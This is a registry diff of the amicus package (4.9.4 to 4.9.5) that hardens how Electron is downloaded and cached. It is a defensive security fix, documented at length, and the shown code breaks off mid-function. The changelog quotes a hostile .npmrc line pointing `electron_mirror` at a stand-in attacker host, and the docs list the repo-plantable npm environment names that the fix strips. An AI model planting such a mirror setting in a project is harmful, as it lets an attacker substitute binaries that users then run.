amicus 4.9.4 → 4.9.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.claude-plugin/plugin.json +1 -1
- package/CHANGELOG.md +85 -3
- package/README.md +1 -1
- package/docs/ROADMAP.md +6 -4
- package/docs/architecture-map.md +4 -0
- package/docs/configuration.md +17 -0
- package/docs/troubleshooting.md +37 -0
- package/docs/usage.md +1 -1
- package/package.json +1 -1
- package/scripts/postinstall.js +4 -0
- package/src/sidecar/electron-install.js +81 -81
- package/src/sidecar/electron-provision.js +179 -0
- package/src/sidecar/electron-trust.js +299 -0
- package/src/sidecar/unzip.js +40 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amicus",
|
|
3
|
-
"version": "4.9.
|
|
3
|
+
"version": "4.9.5",
|
|
4
4
|
"description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
|
|
5
5
|
"author": {
|
|
6
6
|
"name": "Christian Wagner"
|
package/CHANGELOG.md
CHANGED
|
@@ -3,6 +3,88 @@
|
|
|
3
3
|
All notable changes to Amicus are documented here. Format follows
|
|
4
4
|
[Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
|
|
5
5
|
|
|
6
|
+
## [4.9.5] - 2026-09-07
|
|
7
|
+
|
|
8
|
+
*A repository you cloned could choose which bytes became your Electron.*
|
|
9
|
+
|
|
10
|
+
npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
|
|
11
|
+
containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
|
|
12
|
+
as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
|
|
13
|
+
(`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
|
|
14
|
+
redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
|
|
15
|
+
passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
|
|
16
|
+
all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
|
|
17
|
+
Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
|
|
18
|
+
|
|
19
|
+
### Security
|
|
20
|
+
|
|
21
|
+
- **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
|
|
22
|
+
Four controls, each independently testable:
|
|
23
|
+
- **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
|
|
24
|
+
the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
|
|
25
|
+
**local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
|
|
26
|
+
they must match what Electron published. This is the control that breaks the chain.
|
|
27
|
+
- **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
|
|
28
|
+
`npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
|
|
29
|
+
file with the right name from any subdirectory of a cache root, with no verification of any kind.
|
|
30
|
+
A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
|
|
31
|
+
fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
|
|
32
|
+
- **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
|
|
33
|
+
`install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
|
|
34
|
+
in-process download would merely have funnelled an attacker into an unpinned downloader. Every
|
|
35
|
+
repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
|
|
36
|
+
case-insensitively, because a repo `package.json` `config` key reaches the child with its case
|
|
37
|
+
preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
|
|
38
|
+
that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
|
|
39
|
+
- **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
|
|
40
|
+
"invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
|
|
41
|
+
re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
|
|
42
|
+
`UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
|
|
43
|
+
than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
|
|
44
|
+
exists for, and a test pins the distinction.
|
|
45
|
+
|
|
46
|
+
The digest anchor is read from the **running amicus's own** Electron package in preference to the
|
|
47
|
+
directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
|
|
48
|
+
directory found by scanning npx caches, and reading the digest out of the same directory the bytes
|
|
49
|
+
came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
|
|
50
|
+
bytes reading `POISONED-BYTES`.
|
|
51
|
+
|
|
52
|
+
One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
|
|
53
|
+
case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
|
|
54
|
+
cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
|
|
55
|
+
re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
|
|
56
|
+
repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
|
|
57
|
+
|
|
58
|
+
- **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
|
|
59
|
+
control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
|
|
60
|
+
come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
|
|
61
|
+
npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
|
|
62
|
+
verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
|
|
63
|
+
still not fenced, and the extractor still reports success when any file lands. And where **no**
|
|
64
|
+
published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
|
|
65
|
+
metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
|
|
66
|
+
extracted and marked `unverified` rather than refused, because refusing would strand every older
|
|
67
|
+
Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
|
|
68
|
+
|
|
69
|
+
### Fixed
|
|
70
|
+
|
|
71
|
+
- **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
|
|
72
|
+
`@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
|
|
73
|
+
targeted update of exactly those two packages and their own closure — five lockfile entries — rather
|
|
74
|
+
than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
|
|
75
|
+
including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
|
|
76
|
+
any release and is addressed by the trust work above instead of by a bump.
|
|
77
|
+
- **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
|
|
78
|
+
probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
|
|
79
|
+
council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
|
|
80
|
+
matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
|
|
81
|
+
backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
|
|
82
|
+
production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
|
|
83
|
+
- **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
|
|
84
|
+
tarball and they are a factual claim about the current version, but they were updated in the
|
|
85
|
+
post-ship pass, which runs *after* the tag — so every published package has named the previous
|
|
86
|
+
release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
|
|
87
|
+
|
|
6
88
|
## [4.9.4] - 2026-09-07
|
|
7
89
|
|
|
8
90
|
*The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
|
|
@@ -125,9 +207,9 @@ provider, so the pinned engine's outbound fields can be read under each shape Am
|
|
|
125
207
|
error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
|
|
126
208
|
joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
|
|
127
209
|
curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
|
|
128
|
-
spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-
|
|
129
|
-
rows (
|
|
130
|
-
ships — the full
|
|
210
|
+
spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
|
|
211
|
+
rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
|
|
212
|
+
ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
|
|
131
213
|
M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
|
|
132
214
|
decision).
|
|
133
215
|
|
package/README.md
CHANGED
package/docs/ROADMAP.md
CHANGED
|
@@ -13,11 +13,13 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
|
|
|
13
13
|
Nothing about the content changed and no judgment about its value is implied; only its status. When
|
|
14
14
|
an org buyer and the org to support them exist, it earns a number then.
|
|
15
15
|
|
|
16
|
-
Amicus is at **v4.9.
|
|
17
|
-
plumbing; the patch releases since v4.9.0 carry no section of their own, because
|
|
18
|
-
|
|
16
|
+
Amicus is at **v4.9.5** (2026-09-07). Each 4.x rev below leads with the benefit, not the
|
|
17
|
+
plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
|
|
18
|
+
defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
|
|
19
|
+
`output-budget` doctor row, v4.9.5's Electron digest gate) it did so to make an existing promise
|
|
20
|
+
true, not to widen it. See `CHANGELOG.md` for what each one contained.
|
|
19
21
|
|
|
20
|
-
**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.
|
|
22
|
+
**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.5 patch releases —
|
|
21
23
|
everything on this page is a record of what landed, not a plan. Composition — the scope that
|
|
22
24
|
carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
|
|
23
25
|
release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section
|
package/docs/architecture-map.md
CHANGED
|
@@ -112,8 +112,10 @@ src/
|
|
|
112
112
|
│ ├── electron-ensure.js # ensureElectron() — lazy first-GUI provisioning (#55).
|
|
113
113
|
│ ├── electron-install.js # Electron self-heal primitive (#53, #59).
|
|
114
114
|
│ ├── electron-lock.js # Stale-aware single-flight lock for the electron self-heal (#53).
|
|
115
|
+
│ ├── electron-provision.js # Electron CONTROLLED provision — the pinned download, and what happens to a
|
|
115
116
|
│ ├── electron-quarantine.js # AV / antivirus quarantine detection for the electron self-heal (#53).
|
|
116
117
|
│ ├── electron-state.js # Electron install-state probes (#76).
|
|
118
|
+
│ ├── electron-trust.js # Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
|
|
117
119
|
│ ├── fallback-chains.js
|
|
118
120
|
│ ├── fanout-budget.js
|
|
119
121
|
│ ├── fanout-leg-fallback.js
|
|
@@ -552,8 +554,10 @@ evals/
|
|
|
552
554
|
| `sidecar/electron-ensure.js` | ensureElectron() — lazy first-GUI provisioning (#55). | `ensureElectron()`, `_resetEnsureElectron()` |
|
|
553
555
|
| `sidecar/electron-install.js` | Electron self-heal primitive (#53, #59). | `resolveElectronBinary()`, `isElectronUsable()`, `cachedZip()`, `repairElectron()`, `platformExe()` |
|
|
554
556
|
| `sidecar/electron-lock.js` | Stale-aware single-flight lock for the electron self-heal (#53). | `acquireRepairLock()`, `isStaleLock()`, `lockPathFor()`, `STALE_MS()` |
|
|
557
|
+
| `sidecar/electron-provision.js` | Electron CONTROLLED provision — the pinned download, and what happens to a | `cacheRootFor()`, `controlledProvision()`, `mayDeleteRejectedZip()`, `rejectCachedZip()`, `isUnsafeArchive()` |
|
|
555
558
|
| `sidecar/electron-quarantine.js` | AV / antivirus quarantine detection for the electron self-heal (#53). | `avHint()`, `quarantineReason()`, `verifyExtractOutcome()` |
|
|
556
559
|
| `sidecar/electron-state.js` | Electron install-state probes (#76). | `electronDirFor()`, `probeElectronState()` |
|
|
560
|
+
| `sidecar/electron-trust.js` | Electron artifact TRUST core — the digest anchor, the gate, and the env scrub. | `electronTrustPolicy()`, `resolveAnchor()`, `expectedDigest()`, `verifyArtifact()`, `sha256File()` |
|
|
557
561
|
| `sidecar/fallback-chains.js` | | `resolveFallbackConfig()`, `deriveChain()`, `vendorOf()`, `DEFAULT_MAX_SUBSTITUTIONS()` |
|
|
558
562
|
| `sidecar/fanout-budget.js` | | `preflightBudget()` |
|
|
559
563
|
| `sidecar/fanout-leg-fallback.js` | | `runLegWithFallback()`, `recordAttemptSpend()`, `sumAttemptUsage()` |
|
package/docs/configuration.md
CHANGED
|
@@ -343,6 +343,23 @@ These variables control the polling loop that drives headless sessions. The defa
|
|
|
343
343
|
| `AMICUS_GUI_LOAD_TIMEOUT_MS` | Maximum wait in milliseconds for the Electron UI to load before the load-failsafe fires. If the OpenCode web UI fails to respond within this window, Amicus shows a load-error page instead of hanging invisibly. | `15000` |
|
|
344
344
|
| `AMICUS_DEBUG_PORT` | Chrome DevTools Protocol port for the Electron window. Increment (e.g. `9223`) to avoid conflicts with a running Chrome or another Amicus window. | `9222` |
|
|
345
345
|
| `AMICUS_MOCK_UPDATE` | Mock the update-notification state for UI development. Values: `available` \| `updating` \| `success` \| `error`. Has no effect outside development. | *(unset)* |
|
|
346
|
+
| `AMICUS_ALLOW_UNVERIFIED_ELECTRON` | Accept an Electron artifact whose sha256 does **not** match the digest Electron publishes for it, with a loud warning on every use instead of a refusal. On a **cached** artifact it downgrades the refusal to a warning; on a **download** it also drops the published-digest pin, so `@electron/get` falls back to the `SHASUMS256.txt` of whatever mirror you pointed it at — without that, a legitimately rebuilt Electron could never be fetched at all, only accepted if it was already in a cache root. For one case only: you deliberately run a **rebuilt** Electron whose bytes legitimately differ. True for the exact string `1` — `true`, `yes` and ` 1` are all false, because a hatch that fails open on a typo is not a hatch. | *(unset)* |
|
|
347
|
+
|
|
348
|
+
> **What `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not do.** It does not re-enable
|
|
349
|
+
> anything else. `npm_config_electron_mirror`, `npm_package_config_electron_*`,
|
|
350
|
+
> `npm_config_electron_use_remote_checksums`, `npm_config_platform` and
|
|
351
|
+
> `npm_config_arch` stay stripped from the Electron installer's environment
|
|
352
|
+
> whether it is set or not — those are the names a *repository* can plant in a
|
|
353
|
+
> child process through its own `.npmrc` or `package.json`, which is why this
|
|
354
|
+
> variable is a plain environment variable read under that exact bare spelling
|
|
355
|
+
> only: a repo-planted `npm_config_amicus_allow_unverified_electron` reads back
|
|
356
|
+
> as unset. It also does not change where the download comes from — a real
|
|
357
|
+
> `ELECTRON_MIRROR` environment variable is honoured exactly as before, set or
|
|
358
|
+
> unset. What it *does* relax, deliberately and on both routes, is the digest:
|
|
359
|
+
> with it set, a cached artifact that contradicts Electron's published sha256 is
|
|
360
|
+
> accepted with a warning, and a download is no longer pinned to that sha256
|
|
361
|
+
> (`@electron/get` then trusts the `SHASUMS256.txt` served alongside the artifact).
|
|
362
|
+
> Leave it unset and the published digest is enforced on both routes.
|
|
346
363
|
|
|
347
364
|
---
|
|
348
365
|
|
package/docs/troubleshooting.md
CHANGED
|
@@ -396,6 +396,43 @@ unverified, with `variantUnverified: true` on the leg document.
|
|
|
396
396
|
- **Manual install (most reliable):** on a machine/network with direct access, run any `amicus start` once to populate the Electron cache, then copy the cache directory to the target machine — `%LOCALAPPDATA%\electron\Cache` (Windows), `~/Library/Caches/electron` (macOS), `$XDG_CACHE_HOME/electron` or `~/.cache/electron` (Linux). Amicus reuses a valid cached binary without re-downloading.
|
|
397
397
|
- **Point at your own mirror:** set `ELECTRON_MIRROR` (and `ELECTRON_CUSTOM_DIR` if needed) to an internal Electron mirror that is reachable without a proxy.
|
|
398
398
|
- Headless runs and the full council never need Electron — use `--no-ui` if the GUI is not required.
|
|
399
|
+
- Run `npx -y amicus@latest` from a directory you trust. `npx` inherits the `.npmrc` and `package.json` of whatever directory you are standing in, so an untrusted clone can point package downloads at a host of its choosing.
|
|
400
|
+
|
|
401
|
+
---
|
|
402
|
+
|
|
403
|
+
## Electron Artifact REFUSED (digest mismatch)
|
|
404
|
+
|
|
405
|
+
**Symptom:** provisioning stops and stderr carries a block like:
|
|
406
|
+
|
|
407
|
+
```
|
|
408
|
+
[amicus] Electron artifact REFUSED: electron-v43.1.1-win32-x64.zip
|
|
409
|
+
[amicus] C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
|
|
410
|
+
[amicus] sha256 3f2a... does not match the published b4e9...
|
|
411
|
+
[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO
|
|
412
|
+
[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT
|
|
413
|
+
[amicus] electron looks like — amicus cannot tell them apart.
|
|
414
|
+
[amicus] If you deliberately run a REBUILT electron, set
|
|
415
|
+
[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — ...
|
|
416
|
+
[amicus] The file has been removed: re-copy it from the machine that downloaded it ...
|
|
417
|
+
```
|
|
418
|
+
|
|
419
|
+
The refused bytes are never extracted, so no Electron is installed *from them*. What you see afterwards depends on which path hit the refusal:
|
|
420
|
+
|
|
421
|
+
- **`npm install` (offline by design)** repeats the refusal reason in its notice and stops there — it never downloads.
|
|
422
|
+
- **`amicus doctor --fix` and first GUI use** re-download the artifact with the digest pinned, so a one-off bad file self-heals and is reported as installed. Only when that retry cannot rescue it — no network, or the fresh download fails too — does `doctor` repeat the refusal reason instead of its generic "not provisioned".
|
|
423
|
+
|
|
424
|
+
**Cause:** the bytes do not match the sha256 Electron itself publishes for that artifact (`node_modules/electron/checksums.json`). Amicus hashes a cached zip **before** extracting it, and pins the digest on the download, so bytes that *contradict* a published digest never become an Electron install. Where no published digest covers the artifact at all — an Electron package that ships no `checksums.json`, or one whose own `package.json` names a version amicus holds no entry for — there is nothing to contradict: those bytes are extracted and the outcome is marked `unverified` rather than refused, because refusing would strand every older Electron in a re-download loop. The gate is an integrity check against a digest amicus can obtain, not a promise that every artifact was vouched for.
|
|
425
|
+
|
|
426
|
+
That is what a swapped mirror or a planted cache file looks like. It is **also** what a truncated download, a failing disk, or a corporate mirror serving a *rebuilt* Electron looks like — amicus cannot tell them apart, and says so rather than guessing.
|
|
427
|
+
|
|
428
|
+
**Fix:**
|
|
429
|
+
- **Let it retry.** Online, amicus removes the offending cache entry — only when its filename and its resolved location both say it really is that cache entry — and downloads again with the digest pinned. A one-off truncated download heals itself.
|
|
430
|
+
- **Air-gapped / hand-seeded cache:** the refused file is deleted, so re-copy the cache directory from the machine that downloaded it. A partial copy is the usual cause. If the bytes are deliberately different (below), set the variable *before* you re-copy — the next refusal would remove the fresh copy too.
|
|
431
|
+
- **You deliberately run a rebuilt Electron:** set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` (see [configuration.md](./configuration.md#gui-and-debug)). It accepts a cached artifact that contradicts the published digest, and drops the digest pin on a download so a rebuilt artifact can be fetched from your own `ELECTRON_MIRROR` at all. It re-enables nothing else: the Electron installer's environment stays scrubbed of every `npm_config_electron_*` / `npm_package_config_electron_*` name either way.
|
|
432
|
+
- **Otherwise treat it as real.** Check what `ELECTRON_MIRROR` is set to, and whether the directory you ran `npx -y amicus@latest` in is one you trust.
|
|
433
|
+
- Headless runs and the full council work without the GUI in every one of these cases.
|
|
434
|
+
|
|
435
|
+
**A second, rarer refusal:** `Electron artifact REFUSED (unsafe archive)` means entries inside the zip tried to write *outside* the destination directory. That one is terminal by design — amicus does not retry it with a different extractor, does not delete the file (it is the evidence), and `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not apply to it. Report the mirror or cache the archive came from.
|
|
399
436
|
|
|
400
437
|
---
|
|
401
438
|
|
package/docs/usage.md
CHANGED
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "amicus",
|
|
3
|
-
"version": "4.9.
|
|
3
|
+
"version": "4.9.5",
|
|
4
4
|
"mcpName": "io.github.BourbonDog/amicus",
|
|
5
5
|
"description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
|
|
6
6
|
"keywords": [
|
package/scripts/postinstall.js
CHANGED
|
@@ -89,6 +89,10 @@ async function provisionElectron(deps = {}) {
|
|
|
89
89
|
console.warn('[amicus] Headless runs and the council already work without the GUI.');
|
|
90
90
|
return;
|
|
91
91
|
}
|
|
92
|
+
// A trust REFUSAL is not the same as "no cache yet": the artifact was found,
|
|
93
|
+
// hashed, and rejected. One line, so the reason is not lost behind the generic
|
|
94
|
+
// notice below (docs/troubleshooting.md promises this line).
|
|
95
|
+
if (result && result.integrity) { console.warn(`[amicus] Note: ${result.reason}`); }
|
|
92
96
|
// No cache hit (deferred), contended, or otherwise not provisioned now.
|
|
93
97
|
console.warn('[amicus] Note: the Electron GUI binary is not provisioned yet — it will download on first use of the interactive GUI / setup-wizard.');
|
|
94
98
|
console.warn(`[amicus] Headless runs and the council already work. To provision the GUI now: ${HINTS.doctorFix}`);
|
|
@@ -1,21 +1,18 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Electron self-heal primitive (#53, #59).
|
|
3
3
|
*
|
|
4
|
-
* Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract
|
|
5
|
-
*
|
|
6
|
-
* path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails.
|
|
4
|
+
* Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract —
|
|
5
|
+
* or Windows Defender quarantining electron.exe — can leave the package's
|
|
6
|
+
* path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails. This
|
|
7
|
+
* module is the keystone the rest of the self-heal cluster (#54-#57) imports; it
|
|
8
|
+
* wires itself into no caller, and everything that downloads, extracts, spawns or
|
|
9
|
+
* locks is dependency-INJECTABLE so tests never hit the network or extract a real
|
|
10
|
+
* binary.
|
|
7
11
|
*
|
|
8
|
-
*
|
|
9
|
-
*
|
|
10
|
-
*
|
|
11
|
-
*
|
|
12
|
-
*
|
|
13
|
-
* Layout reference (npm `electron` package):
|
|
14
|
-
* node_modules/electron/path.txt -> "electron.exe" (the exe basename)
|
|
15
|
-
* node_modules/electron/dist/<exe> -> the actual binary
|
|
16
|
-
* #59: when ELECTRON_OVERRIDE_DIST_PATH is set, the exe lives in that dir
|
|
17
|
-
* instead of <pkg>/dist (mirrors electron/index.js + install.js semantics).
|
|
18
|
-
* Cache layout (@electron/get): <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
|
|
12
|
+
* Layout (npm `electron`): path.txt -> the exe basename, dist/<exe> -> the binary.
|
|
13
|
+
* #59: ELECTRON_OVERRIDE_DIST_PATH moves the exe to <override>/<exe> (mirrors
|
|
14
|
+
* electron/index.js + install.js semantics). Cache layout (@electron/get):
|
|
15
|
+
* <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
|
|
19
16
|
*/
|
|
20
17
|
|
|
21
18
|
'use strict';
|
|
@@ -27,6 +24,8 @@ const { spawnSync } = require('child_process');
|
|
|
27
24
|
const { resolveCacheRoots } = require('./electron-cache');
|
|
28
25
|
const { avHint, verifyExtractOutcome: verifyQuarantine } = require('./electron-quarantine');
|
|
29
26
|
const { acquireRepairLock } = require('./electron-lock');
|
|
27
|
+
const { controlledProvision, isUnsafeArchive, refuseUnsafeArchive, rejectCachedZip } = require('./electron-provision');
|
|
28
|
+
const { artifactFileName, electronTrustPolicy, resolveAnchor, scrubbedChildEnv, verifyArtifact } = require('./electron-trust');
|
|
30
29
|
const { robustExtract } = require('./unzip');
|
|
31
30
|
|
|
32
31
|
/** Self-heal progress line to stderr (visible during first-GUI provision). */
|
|
@@ -134,32 +133,6 @@ async function extractFromCache({ zip, electronDir, platform, extract, fs }) {
|
|
|
134
133
|
writePathTxt({ electronDir, platform, fs });
|
|
135
134
|
}
|
|
136
135
|
|
|
137
|
-
/** Best-effort cache root for downloadArtifact (first resolved root). */
|
|
138
|
-
function cacheRootFor(env = process.env) {
|
|
139
|
-
return resolveCacheRoots(env)[0];
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
/**
|
|
143
|
-
* CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
|
|
144
|
-
* api install.js uses (downloadArtifact, force:true), extract offline, and let
|
|
145
|
-
* the caller verify isElectronUsable(). No blind install.js spawn.
|
|
146
|
-
* @returns {Promise<void>}
|
|
147
|
-
*/
|
|
148
|
-
async function controlledProvision({
|
|
149
|
-
electronDir, platform, arch, version, downloadArtifact, extract, fs, env = process.env, downloadMs = 480000,
|
|
150
|
-
}) {
|
|
151
|
-
const zip = await downloadArtifact({
|
|
152
|
-
version,
|
|
153
|
-
artifactName: 'electron',
|
|
154
|
-
force: true,
|
|
155
|
-
cacheRoot: cacheRootFor(env),
|
|
156
|
-
platform,
|
|
157
|
-
arch,
|
|
158
|
-
downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
|
|
159
|
-
});
|
|
160
|
-
await extractFromCache({ zip, electronDir, platform, extract, fs });
|
|
161
|
-
}
|
|
162
|
-
|
|
163
136
|
/** Bind the fs-aware probes for the post-extract AV-quarantine verify. */
|
|
164
137
|
function verifyExtractOutcome({ electronDir, platform, fs }) {
|
|
165
138
|
return verifyQuarantine({
|
|
@@ -169,10 +142,16 @@ function verifyExtractOutcome({ electronDir, platform, fs }) {
|
|
|
169
142
|
});
|
|
170
143
|
}
|
|
171
144
|
|
|
172
|
-
/**
|
|
173
|
-
|
|
145
|
+
/**
|
|
146
|
+
* Drive electron's own install.js with force_no_cache semantics. C3: the spawn env
|
|
147
|
+
* is SCRUBBED — install.js honours `npm_config_electron_mirror` AND
|
|
148
|
+
* `npm_config_electron_use_remote_checksums` (which turns its own bundled pin off),
|
|
149
|
+
* so `{...process.env}` here would funnel a blocked attacker into an unpinned
|
|
150
|
+
* downloader and undo the pin on the route above.
|
|
151
|
+
*/
|
|
152
|
+
function runInstaller({ electronDir, force, spawn, platform, arch }) {
|
|
174
153
|
const installScript = path.join(electronDir, 'install.js');
|
|
175
|
-
const env = {
|
|
154
|
+
const env = scrubbedChildEnv({ env: process.env, platform, arch });
|
|
176
155
|
if (force) {
|
|
177
156
|
env.force_no_cache = 'true';
|
|
178
157
|
}
|
|
@@ -187,7 +166,8 @@ function runInstaller({ electronDir, force, spawn }) {
|
|
|
187
166
|
* {deferred,reason} when there is no cached zip.
|
|
188
167
|
* @param {boolean} [opts.force] force a fresh (no-cache) installer download.
|
|
189
168
|
* @param {number} [opts.timeoutMs] best-effort installer timeout.
|
|
190
|
-
* @param {object} [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs
|
|
169
|
+
* @param {object} [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs,
|
|
170
|
+
* selfElectronDir } — the last pins the digest anchor's top rung (null disables it).
|
|
191
171
|
* @returns {Promise<{repaired?:boolean, deferred?:boolean, contended?:boolean, reason?:string}>}
|
|
192
172
|
*/
|
|
193
173
|
async function repairElectron({
|
|
@@ -204,9 +184,8 @@ async function repairElectron({
|
|
|
204
184
|
// Default extract: extract-zip bounded (idle/max) + native-unzip fallback (extract-zip-node24 stall).
|
|
205
185
|
const extract = deps.extract
|
|
206
186
|
|| ((zipPath, o) => robustExtract(zipPath, { ...o, platform, deps: { fs, log: stderrLog } }));
|
|
207
|
-
// Default-bound
|
|
208
|
-
//
|
|
209
|
-
// the holder — the caller's timeoutMs still wins when provided.
|
|
187
|
+
// Default-bound (8 min) so a first-GUI-use provision that reaches runInstaller
|
|
188
|
+
// without an explicit timeoutMs can't hang the holder; caller's value wins.
|
|
210
189
|
const spawn = deps.spawn || ((cmd, args, o) => spawnSync(cmd, args, { ...o, timeout: timeoutMs || 480000 }));
|
|
211
190
|
const findZip = deps.cachedZip || ((o) => cachedZip(o));
|
|
212
191
|
const acquireLock = deps.acquireLock || ((o) => acquireRepairLock({ ...o, fs }));
|
|
@@ -217,13 +196,17 @@ async function repairElectron({
|
|
|
217
196
|
: async () => (await import('@electron/get')).downloadArtifact;
|
|
218
197
|
|
|
219
198
|
if (!version) {
|
|
220
|
-
try {
|
|
221
|
-
version = require(path.join(electronDir, 'package.json')).version;
|
|
222
|
-
} catch {
|
|
223
|
-
version = undefined;
|
|
224
|
-
}
|
|
199
|
+
try { version = require(path.join(electronDir, 'package.json')).version; } catch { version = undefined; }
|
|
225
200
|
}
|
|
226
201
|
|
|
202
|
+
// The digest anchor and the trust policy, resolved ONCE for both routes. NOTE
|
|
203
|
+
// `version` is deliberately NOT passed to resolveAnchor: it may have just been
|
|
204
|
+
// read out of electronDir's own package.json above, and letting an untrusted
|
|
205
|
+
// directory pick which anchor judges its bytes is the ANCHORFROMTARGET hole.
|
|
206
|
+
const fileName = artifactFileName({ version, platform, arch });
|
|
207
|
+
const policy = electronTrustPolicy(process.env);
|
|
208
|
+
const anchor = resolveAnchor({ electronDir, fs, selfElectronDir: deps.selfElectronDir });
|
|
209
|
+
|
|
227
210
|
// Single-flight: bail out gracefully if another caller is already repairing.
|
|
228
211
|
let lock;
|
|
229
212
|
try {
|
|
@@ -235,55 +218,72 @@ async function repairElectron({
|
|
|
235
218
|
throw e;
|
|
236
219
|
}
|
|
237
220
|
|
|
221
|
+
let refusal = null; // a cache refusal the caller must still hear about if the download also fails
|
|
238
222
|
try {
|
|
239
223
|
// Attempt 1: extract from cache (always preferred, fully offline).
|
|
240
224
|
